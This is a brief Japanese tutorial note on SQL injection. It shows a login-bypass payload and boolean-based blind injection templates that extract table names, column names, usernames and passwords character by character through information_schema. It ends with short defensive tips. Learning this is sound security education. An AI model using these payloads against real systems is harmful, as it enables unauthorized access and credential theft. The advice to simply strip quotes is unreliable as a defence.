###### tags: `SQLI` `日文`
# SQL injection
## 仕組み
一般的にログイン画面のSQL文は
```sql=
SELECT * FROM users WHERE id='XXX' AND password='YYY'
```
(`'`を`"`に置換する場合もあります)
XXXとYYYは入力しユーザー名とパスワード。
XXXとYYYはDBの中の資料に合ったら、ログイン成功です。
もしユーザー名のところに`" OR 1=1 #`を入力したら、
こうになる:
```sql=
SELECT * FROM users WHERE id='' OR 1=1 #' AND password='YYY'
```
`id='' OR 1=1`の部分は`1=1`があるので、ずっと真になる。
そして`#`の後ろの部分は全部コメントにして無視される。
(`#`を`--`に置換する場合もあります)
この場合もログインできます。そして使っているユーザー名はDBのテーブル一番のユーザー名かもしれない。
## SQL injectionを使って、DB内の資料を引き出す
```
' OR 1=1 #
---
```
「下線部の部分が真になるとログインできる」という点を利用して、
DBの資料を全部引き出すことができる。`SUBSTRING`という関数を利用します!
### まずはDBの中のすべてのテーブルの名前を引き出す
上の下線部分をこうに置換すると
```sql=
SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT i, 1),
j, 1) = "k"
```
`information_schema.tables`はデータベース内のテーブルに関する情報を提供します。
そしてテーブルの名前は`table_name`のカラムに保存されています。
`LIMIT i, 1`文は結果の行数を制限する関数です。`i`は第`i`行目、`1`は`1`行だけの意味。
だから`SELECT table_name FROM information_schema.tables LIMIT i, 1`という文は
**第`i`番目のテーブル名を引き出すことです**
そして`SUBSTRING(x, j, 1) = "k"`は、
string `x`の第`j`番目の文字は`"k"`ですかという意味です。
これらをくっつくと、「第`i`番目のテーブル名の第`j`番目の文字は`"k"`ですか」になる。
そして`for`などのループを使って、`i, j, "k"`を置換して、テーブルの名前を合ってってみよう~
もしログイン成功したら、合った!
### 次はカラム名
例えば、さき引き出したテーブルの名前は`'users'`
```sql=
SUBSTRING((SELECT column_name FROM information_schema.columns
WHERE table_name = 'users' LIMIT {},1),
j, 1) = "k"
```
「'users'の第`i`番目のカラム名の第`j`番目の文字は`"k"`ですか」という意味です。
`information_schema.columns`はデータベース内のカラムに関する情報を提供します。
そしてカラムの名前は`column_name`のカラムに保存されて、そのカラムはどのテーブルのカラムは`table_name`の中に保存されています。
### 最後はユーザー名とパスワード
例えば、さき引き出したカラムの名前は`'username'`と`'password'`
```sql=
SUBSTRING((SELECT username FROM users LIMIT i, 1), j, 1) = "k"
```
⇒「'users'の第`i`番目の"username"の第`j`番目の文字は`"k"`ですか」
```sql=
SUBSTRING((SELECT password FROM users LIMIT i, 1), j, 1) = "k"
```
⇒「'users'の第`i`番目の"password"の第`j`番目の文字は`"k"`ですか」
ユーザー名とパスワードをゲット!
## SQL injectionを防ぐ
* 入力した内容を確認:
* 引用符(`'`と`"`)を取り除く
* コメント符号(`#`と`--`)を取り除く
* テーブルの権限をもう一度確認
* sqlmapなどのツールで脆弱性を診断